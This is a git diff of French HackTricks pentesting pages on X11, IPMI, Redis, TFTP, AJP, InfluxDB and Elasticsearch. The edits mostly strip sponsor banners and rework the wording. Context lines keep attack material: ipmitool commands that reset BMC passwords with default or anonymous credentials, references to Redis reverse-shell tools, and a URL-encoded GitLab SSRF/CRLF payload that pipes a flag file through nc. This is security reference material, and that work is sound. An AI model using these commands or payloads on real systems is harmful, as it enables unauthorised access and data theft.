+## Informations de base -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus du Hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de Hacking en Temps Réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières Annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - -## Informations de Base - -**X Window System** (X) est un système de fenêtres polyvalent répandu sur les systèmes d'exploitation basés sur UNIX. Il fournit un cadre pour créer des **interfaces utilisateur graphiques (GUI)**, chaque programme gérant la conception de l'interface utilisateur. Cette flexibilité permet des expériences diverses et personnalisables au sein de l'environnement X. +**X Window System** (X) est un système de fenêtres polyvalent répandu sur les systèmes d'exploitation basés sur UNIX. Il fournit un cadre pour créer des **interfaces graphiques utilisateur (GUI)**, chaque programme gérant la conception de l'interface utilisateur. Cette flexibilité permet des expériences diverses et personnalisables au sein de l'environnement X. **Port par défaut :** 6000 ``` @@ -85,9 +70,7 @@ Chemin depuis : [https://resources.infosecinstitute.com/exploiting-x11-unauthent ``` ./xrdp.py ``` -Chemin depuis : [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) - -Tout d'abord, nous devons trouver l'ID de la fenêtre en utilisant xwininfo. +Nous devons d'abord trouver l'ID de la fenêtre en utilisant xwininfo. ``` xwininfo -root -display 10.9.xx.xx:0 @@ -147,19 +130,4 @@ Ensuite, mettez votre adresse IP et votre port dans l'option **R-Shell** et cliq - `port:6000 x11` -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus de Hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de Hacking en Temps Réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières Annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/623-udp-ipmi.md b/src/network-services-pentesting/623-udp-ipmi.md index adea303f9..ac805404b 100644 --- a/src/network-services-pentesting/623-udp-ipmi.md +++ b/src/network-services-pentesting/623-udp-ipmi.md @@ -4,27 +4,22 @@ {{#include ../banners/hacktricks-training.md}} -
- -Approfondissez votre expertise en **Mobile Security** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} ## Informations de base ### **Aperçu de l'IPMI** -**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** offre une approche standardisée pour la gestion et la surveillance à distance des systèmes informatiques, indépendamment du système d'exploitation ou de l'état d'alimentation. Cette technologie permet aux administrateurs système de gérer les systèmes à distance, même lorsqu'ils sont éteints ou non réactifs, et est particulièrement utile pour : +**[Interface de gestion de plateforme intelligente (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** offre une approche standardisée pour la gestion et la surveillance à distance des systèmes informatiques, indépendamment du système d'exploitation ou de l'état d'alimentation. Cette technologie permet aux administrateurs système de gérer les systèmes à distance, même lorsqu'ils sont éteints ou non réactifs, et est particulièrement utile pour : -- Configurations de pré-démarrage du système d'exploitation +- Configurations de démarrage pré-OS - Gestion de l'alimentation - Récupération après des pannes système -L'IPMI est capable de surveiller les températures, les tensions, les vitesses des ventilateurs et les alimentations, tout en fournissant des informations d'inventaire, en examinant les journaux matériels et en envoyant des alertes via SNMP. Une source d'alimentation et une connexion LAN sont essentielles à son fonctionnement. +L'IPMI est capable de surveiller les températures, les tensions, les vitesses des ventilateurs et les alimentations, tout en fournissant des informations d'inventaire, en examinant les journaux matériels et en envoyant des alertes via SNMP. Essentiel à son fonctionnement, il nécessite une source d'alimentation et une connexion LAN. Depuis son introduction par Intel en 1998, l'IPMI a été soutenu par de nombreux fournisseurs, améliorant les capacités de gestion à distance, notamment avec le support de la version 2.0 pour le série sur LAN. Les composants clés incluent : -- **Baseboard Management Controller (BMC) :** Le micro-contrôleur principal pour les opérations IPMI. +- **Contrôleur de gestion de carte mère (BMC) :** Le micro-contrôleur principal pour les opérations IPMI. - **Bus et interfaces de communication :** Pour la communication interne et externe, y compris ICMB, IPMB et diverses interfaces pour les connexions locales et réseau. - **Mémoire IPMI :** Pour stocker les journaux et les données. @@ -61,7 +56,7 @@ apt-get install ipmitool # Installation command ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password ``` -### **Récupération de hachages de mots de passe à distance pour l'authentification RAKP IPMI 2.0** +### **Récupération de hachages de mots de passe distants RAKP d'IPMI 2.0** Cette vulnérabilité permet la récupération de mots de passe hachés salés (MD5 et SHA1) pour tout nom d'utilisateur existant. Pour tester cette vulnérabilité, Metasploit propose un module : ```bash @@ -74,7 +69,7 @@ Une configuration par défaut dans de nombreux BMC permet un accès "anonyme", c ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword ``` -### **Mots de passe en clair IPMI Supermicro** +### **Supermicro IPMI Mots de passe en clair** Un choix de conception critique dans IPMI 2.0 nécessite le stockage de mots de passe en clair dans les BMC pour des raisons d'authentification. Le stockage de ces mots de passe par Supermicro dans des emplacements tels que `/nv/PSBlock` ou `/nv/PSStore` soulève d'importantes préoccupations en matière de sécurité : ```bash @@ -90,7 +85,7 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow **HP randomise le mot de passe par défaut** pour son produit **Integrated Lights Out (iLO)** lors de la fabrication. Cette pratique contraste avec d'autres fabricants, qui ont tendance à utiliser des **identifiants par défaut statiques**. Un résumé des noms d'utilisateur et mots de passe par défaut pour divers produits est fourni comme suit : -- **HP Integrated Lights Out (iLO)** utilise une **chaîne de 8 caractères randomisée en usine** comme mot de passe par défaut, montrant un niveau de sécurité plus élevé. +- **HP Integrated Lights Out (iLO)** utilise une **chaîne de 8 caractères randomisée en usine** comme mot de passe par défaut, montrant un niveau de sécurité supérieur. - Des produits comme **Dell's iDRAC, IBM's IMM**, et **Fujitsu's Integrated Remote Management Controller** utilisent des mots de passe facilement devinables tels que "calvin", "PASSW0RD" (avec un zéro), et "admin" respectivement. - De même, **Supermicro IPMI (2.0), Oracle/Sun ILOM**, et **ASUS iKVM BMC** utilisent également des identifiants par défaut simples, avec "ADMIN", "changeme", et "admin" servant de mots de passe. @@ -124,10 +119,5 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit - [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/) -
- -Approfondissez votre expertise en **Mobile Security** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours en auto-apprentissage et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/6379-pentesting-redis.md b/src/network-services-pentesting/6379-pentesting-redis.md index 855ee9720..d33579198 100644 --- a/src/network-services-pentesting/6379-pentesting-redis.md +++ b/src/network-services-pentesting/6379-pentesting-redis.md @@ -2,24 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus sur le hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - ## Informations de base -D'après [la documentation](https://redis.io/topics/introduction) : Redis est un **magasin de structures de données** open source (licence BSD), en mémoire, utilisé comme **base de données**, cache et courtier de messages. +D'après [la documentation](https://redis.io/topics/introduction) : Redis est un **magasin de structures de données** en mémoire open source (licence BSD), utilisé comme **base de données**, cache et courtier de messages. Par défaut, Redis utilise un protocole basé sur du texte brut, mais vous devez garder à l'esprit qu'il peut également implémenter **ssl/tls**. Apprenez à [exécuter Redis avec ssl/tls ici](https://fossies.org/linux/redis/TLS.md). @@ -39,7 +24,7 @@ msf> use auxiliary/scanner/redis/redis_server ### Bannière -Redis est un **protocole basé sur du texte**, vous pouvez simplement **envoyer la commande dans un socket** et les valeurs retournées seront lisibles. N'oubliez pas que Redis peut fonctionner en utilisant **ssl/tls** (mais c'est très étrange). +Redis est un **protocole basé sur du texte**, vous pouvez simplement **envoyer la commande dans un socket** et les valeurs retournées seront lisibles. N'oubliez pas que Redis peut fonctionner avec **ssl/tls** (mais c'est très étrange). Dans une instance Redis régulière, vous pouvez simplement vous connecter en utilisant `nc` ou vous pouvez également utiliser `redis-cli`: ```bash @@ -54,7 +39,7 @@ Dans ce dernier cas, cela signifie que **vous avez besoin de credentials valides ### Authentification Redis -**Par défaut**, Redis peut être accessible **sans credentials**. Cependant, il peut être **configuré** pour ne prendre en charge **que le mot de passe, ou le nom d'utilisateur + mot de passe**.\ +**Par défaut**, Redis peut être accessible **sans credentials**. Cependant, il peut être **configuré** pour ne supporter **que le mot de passe, ou le nom d'utilisateur + mot de passe**.\ Il est possible de **définir un mot de passe** dans le fichier _**redis.conf**_ avec le paramètre `requirepass` **ou temporairement** jusqu'à ce que le service redémarre en se connectant et en exécutant : `config set requirepass p@ss$12E45`.\ De plus, un **nom d'utilisateur** peut être configuré dans le paramètre `masteruser` à l'intérieur du fichier _**redis.conf**_. @@ -94,7 +79,7 @@ Trouvez plus d'informations intéressantes sur d'autres commandes Redis ici : [h ### **Dumping Database** -À l'intérieur de Redis, les **bases de données sont des numéros commençant à 0**. Vous pouvez vérifier si quelqu'un est utilisé dans la sortie de la commande `info` dans le bloc "Keyspace" : +À l'intérieur de Redis, les **bases de données sont des numéros commençant à 0**. Vous pouvez vérifier si l'une d'elles est utilisée dans la sortie de la commande `info` dans le bloc "Keyspace" : ![](<../images/image (766).png>) @@ -127,24 +112,9 @@ DUMP ``` **Dump le base de données avec npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **ou python** [**redis-utils**](https://pypi.org/project/redis-utils/) -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus de Hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de Hacking en Temps Réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières Annonces**\ -Restez informé des nouvelles récompenses de bugs lancées et des mises à jour cruciales de la plateforme - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui ! - ## Redis RCE -### Shell Interactif +### Shell interactive [**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) peut automatiquement obtenir un shell interactif ou un shell inversé dans Redis(<=5.0.5). ``` @@ -166,9 +136,9 @@ OK ``` Si l'exception d'accès au webshell se produit, vous pouvez vider la base de données après sauvegarde et réessayer, n'oubliez pas de restaurer la base de données. -### Modèle de Webshell +### Template Webshell -Comme dans la section précédente, vous pourriez également écraser un fichier de modèle html qui va être interprété par un moteur de template et obtenir un shell. +Comme dans la section précédente, vous pourriez également écraser un fichier de template html qui va être interprété par un moteur de template et obtenir un shell. Par exemple, en suivant [**ce rapport**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), vous pouvez voir que l'attaquant a injecté un **rev shell dans un html** interprété par le **moteur de template nunjucks :** ```javascript @@ -296,21 +266,6 @@ Et la requête **URL encode** **abusant de SSRF** et **CRLF** pour exécuter un ``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` -_Pour une raison quelconque (comme pour l'auteur de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _d'où proviennent ces informations), l'exploitation a fonctionné avec le schéma `git` et non avec le schéma `http`._ - -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus sur le hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! +_Pour une raison quelconque (comme pour l'auteur de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _d'où provient cette information), l'exploitation a fonctionné avec le schéma `git` et non avec le schéma `http`._ {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/69-udp-tftp.md b/src/network-services-pentesting/69-udp-tftp.md index 71c3f7d0c..b36786cee 100644 --- a/src/network-services-pentesting/69-udp-tftp.md +++ b/src/network-services-pentesting/69-udp-tftp.md @@ -1,12 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - # Informations de base -**Trivial File Transfer Protocol (TFTP)** est un protocole simple utilisé sur le **port UDP 69** qui permet des transferts de fichiers sans nécessiter d'authentification. Mis en avant dans **RFC 1350**, sa simplicité signifie qu'il manque de fonctionnalités de sécurité clés, ce qui limite son utilisation sur Internet public. Cependant, **TFTP** est largement utilisé au sein de grands réseaux internes pour distribuer des **fichiers de configuration** et des **images ROM** à des appareils tels que des **téléphones VoIP**, grâce à son efficacité dans ces scénarios spécifiques. +**Trivial File Transfer Protocol (TFTP)** est un protocole simple utilisé sur **UDP port 69** qui permet des transferts de fichiers sans nécessiter d'authentification. Mis en avant dans **RFC 1350**, sa simplicité signifie qu'il manque de fonctionnalités de sécurité clés, ce qui limite son utilisation sur l'Internet public. Cependant, **TFTP** est largement utilisé au sein de grands réseaux internes pour distribuer des **fichiers de configuration** et des **images ROM** à des dispositifs tels que des **téléphones VoIP**, grâce à son efficacité dans ces scénarios spécifiques. **TODO**: Fournir des informations sur ce qu'est un Bittorrent-tracker (Shodan identifie ce port sous ce nom). Si vous avez plus d'infos à ce sujet, faites-le nous savoir par exemple dans le [**groupe telegram HackTricks**](https://t.me/peass) (ou dans un problème github dans [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)). @@ -21,9 +17,9 @@ TFTP ne fournit pas de liste de répertoires, donc le script `tftp-enum` de `nma ```bash nmap -n -Pn -sU -p69 -sV --script tftp-enum ``` -## Télécharger/Téléverser +## Télécharger/Télécharger -Vous pouvez utiliser Metasploit ou Python pour vérifier si vous pouvez télécharger/téléverser des fichiers : +Vous pouvez utiliser Metasploit ou Python pour vérifier si vous pouvez télécharger/télécharger des fichiers : ```bash msf5> auxiliary/admin/tftp/tftp_transfer_util ``` @@ -38,8 +34,5 @@ client.upload("filename to upload", "/local/path/file", timeout=5) - `port:69` -
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md index 2f0009f75..04bda1241 100644 --- a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md +++ b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md @@ -2,26 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus sur le hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières annonces**\ -Restez informé des nouvelles récompenses de bugs lancées et des mises à jour cruciales de la plateforme - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - ## Informations de base Depuis [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/) -> AJP est un protocole de communication. C'est une version optimisée du protocole HTTP pour permettre à un serveur web autonome tel qu'[Apache](http://httpd.apache.org/) de communiquer avec Tomcat. Historiquement, Apache a été beaucoup plus rapide que Tomcat pour servir du contenu statique. L'idée est de laisser Apache servir le contenu statique lorsque cela est possible, mais de faire passer la demande à Tomcat pour le contenu lié à Tomcat. +> AJP est un protocole de communication. C'est une version optimisée du protocole HTTP permettant à un serveur web autonome tel qu'[Apache](http://httpd.apache.org/) de communiquer avec Tomcat. Historiquement, Apache a été beaucoup plus rapide que Tomcat pour servir du contenu statique. L'idée est de laisser Apache servir le contenu statique lorsque cela est possible, mais de faire passer la demande à Tomcat pour le contenu lié à Tomcat. Aussi intéressant : @@ -38,9 +23,9 @@ C'est une vulnérabilité LFI qui permet d'accéder à certains fichiers comme ` Les versions corrigées sont à partir de 9.0.31, 8.5.51 et 7.0.100. -## Énumération +## Enumeration -### Automatique +### Automatic ```bash nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 ``` @@ -50,7 +35,7 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 ### Nginx Reverse Proxy + AJP -([Consultez la version Dockerisée](8009-pentesting-apache-jserv-protocol-ajp.md#Dockerized-version)) +([Découvrez la version Dockerisée](8009-pentesting-apache-jserv-protocol-ajp.md#Dockerized-version)) Il est possible de communiquer avec un port proxy AJP ouvert (8009 TCP) en utilisant le module apache `ajp_module` de Nginx et d'accéder au Tomcat Manager depuis ce port, ce qui pourrait finalement conduire à une RCE sur le serveur vulnérable. @@ -99,19 +84,4 @@ Il est également possible d'utiliser un **proxy AJP Apache** pour accéder à c - [https://github.com/yaoweibin/nginx_ajp_module](https://github.com/yaoweibin/nginx_ajp_module) -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus sur le hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/8086-pentesting-influxdb.md b/src/network-services-pentesting/8086-pentesting-influxdb.md index 25d41294f..956eafbeb 100644 --- a/src/network-services-pentesting/8086-pentesting-influxdb.md +++ b/src/network-services-pentesting/8086-pentesting-influxdb.md @@ -1,18 +1,11 @@ # 8086 - Pentesting InfluxDB -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez un accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %} {{#include ../banners/hacktricks-training.md}} ## Informations de base -**InfluxDB** est une **base de données de séries temporelles (TSDB)** open-source développée par InfluxData. Les TSDB sont optimisées pour stocker et servir des données de séries temporelles, qui se composent de paires timestamp-valeur. Par rapport aux bases de données à usage général, les TSDB offrent des améliorations significatives en termes de **espace de stockage** et de **performance** pour les ensembles de données de séries temporelles. Elles utilisent des algorithmes de compression spécialisés et peuvent être configurées pour supprimer automatiquement les anciennes données. Des indices de base de données spécialisés améliorent également la performance des requêtes. +**InfluxDB** est une base de données **time series (TSDB)** open-source développée par InfluxData. Les TSDB sont optimisées pour stocker et servir des données de séries temporelles, qui se composent de paires timestamp-valeur. Par rapport aux bases de données à usage général, les TSDB offrent des améliorations significatives en **espace de stockage** et en **performance** pour les ensembles de données de séries temporelles. Elles utilisent des algorithmes de compression spécialisés et peuvent être configurées pour supprimer automatiquement les anciennes données. Des indices de base de données spécialisés améliorent également la performance des requêtes. **Port par défaut** : 8086 ``` @@ -94,7 +87,7 @@ inodes_used integer ``` #### Dump Table -Et enfin, vous pouvez **dumper la table** en faisant quelque chose comme +Et enfin, vous pouvez **dump the table** en faisant quelque chose comme ```bash select * from cpu name: cpu @@ -111,11 +104,3 @@ time cpu host usage_guest usage_guest_nice usage_idle msf6 > use auxiliary/scanner/http/influxdb_enum ``` {{#include ../banners/hacktricks-training.md}} - -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) pour créer et **automatiser des workflows** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %} diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index c5684b5cc..4d1c373f2 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -2,17 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## Informations de base -Elasticsearch est un **moteur de recherche** et d'**analyse** **distribué** et **open source** pour **tous types de données**. Il est connu pour sa **rapidité**, sa **scalabilité** et ses **API REST simples**. Basé sur Apache Lucene, il a été publié pour la première fois en 2010 par Elasticsearch N.V. (aujourd'hui connu sous le nom d'Elastic). Elasticsearch est le composant central de l'Elastic Stack, une collection d'outils open source pour l'ingestion, l'enrichissement, le stockage, l'analyse et la visualisation des données. Cette pile, communément appelée ELK Stack, comprend également Logstash et Kibana, et dispose maintenant d'agents légers d'expédition de données appelés Beats. +Elasticsearch est un moteur de recherche et d'analyse **distribué**, **open source** pour **tous types de données**. Il est connu pour sa **rapidité**, **scalabilité** et **API REST simples**. Basé sur Apache Lucene, il a été publié pour la première fois en 2010 par Elasticsearch N.V. (maintenant connu sous le nom d'Elastic). Elasticsearch est le composant central de l'Elastic Stack, une collection d'outils open source pour l'ingestion, l'enrichissement, le stockage, l'analyse et la visualisation des données. Cette pile, communément appelée ELK Stack, comprend également Logstash et Kibana, et dispose maintenant d'agents légers d'expédition de données appelés Beats. ### Qu'est-ce qu'un index Elasticsearch ? @@ -20,7 +12,7 @@ Un **index** Elasticsearch est une collection de **documents liés** stockés so Elasticsearch utilise une structure de données efficace appelée **index inversé** pour faciliter des recherches en texte intégral rapides. Cet index répertorie chaque mot unique dans les documents et identifie les documents dans lesquels chaque mot apparaît. -Au cours du processus d'indexation, Elasticsearch stocke les documents et construit l'index inversé, permettant des recherches presque en temps réel. L'**API d'index** est utilisée pour ajouter ou mettre à jour des documents JSON au sein d'un index spécifique. +Au cours du processus d'indexation, Elasticsearch stocke les documents et construit l'index inversé, permettant des recherches presque en temps réel. L'**API d'index** est utilisée pour ajouter ou mettre à jour des documents JSON dans un index spécifique. **Port par défaut** : 9200/tcp @@ -36,7 +28,7 @@ Si vous ne voyez pas cette réponse en accédant à `/`, consultez la section su ### Authentification -**Par défaut, Elasticsearch n'a pas d'authentification activée**, donc par défaut, vous pouvez accéder à tout ce qui se trouve dans la base de données sans utiliser de credentials. +**Par défaut, Elasticsearch n'a pas d'authentification activée**, donc par défaut, vous pouvez accéder à tout à l'intérieur de la base de données sans utiliser de credentials. Vous pouvez vérifier que l'authentification est désactivée avec une requête à : ```bash @@ -47,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -Cela signifie que l'authentification est configurée et **vous avez besoin de credentials valides** pour obtenir des informations d'Elasticsearch. Ensuite, vous pouvez [**essayer de le bruteforcer**](../generic-hacking/brute-force.md#elasticsearch) (il utilise l'authentification HTTP basique, donc tout ce qui peut BF l'authentification HTTP basique peut être utilisé).\ +Cela signifie que l'authentification est configurée et que **vous avez besoin de credentials valides** pour obtenir des informations d'Elasticsearch. Ensuite, vous pouvez [**essayer de le bruteforcer**](../generic-hacking/brute-force.md#elasticsearch) (il utilise l'authentification HTTP basique, donc tout ce qui peut BF l'authentification HTTP basique peut être utilisé).\ Voici une **liste des noms d'utilisateur par défaut** : _**elastic** (superutilisateur), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Les anciennes versions d'Elasticsearch ont le mot de passe par défaut **changeme** pour cet utilisateur. ``` curl -X GET http://user:password@IP:9200/ @@ -108,7 +100,7 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb ``` -Pour obtenir **des informations sur le type de données enregistrées dans un index**, vous pouvez accéder à : `http://host:9200/` dans cet exemple, `http://10.10.10.115:9200/bank` +Pour obtenir **des informations sur le type de données enregistrées dans un index**, vous pouvez accéder à : `http://host:9200/` dans cet exemple `http://10.10.10.115:9200/bank` ![](<../images/image (342).png>) @@ -122,7 +114,7 @@ _Prenez un moment pour comparer le contenu de chaque document (entrée) dans l'i Ainsi, à ce stade, vous pouvez remarquer qu'il **y a un champ appelé "total" à l'intérieur de "hits"** qui indique que **1000 documents ont été trouvés** dans cet index mais seulement 10 ont été récupérés. Cela est dû au fait qu'il **y a par défaut une limite de 10 documents**.\ Mais maintenant que vous savez que **cet index contient 1000 documents**, vous pouvez **les exporter tous** en indiquant le nombre d'entrées que vous souhaitez exporter dans le paramètre **`size`** : `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_Remarque : Si vous indiquez un nombre plus grand, toutes les entrées seront de toute façon exportées, par exemple, vous pourriez indiquer `size=9999` et il serait étrange qu'il y ait plus d'entrées (mais vous devriez vérifier)._ +\&#xNAN;_Remarque : Si vous indiquez un nombre plus grand, toutes les entrées seront de toute façon exportées, par exemple vous pourriez indiquer `size=9999` et il serait étrange qu'il y ait plus d'entrées (mais vous devriez vérifier)._ ### Dump all @@ -175,12 +167,5 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum - `port:9200 elasticsearch` -
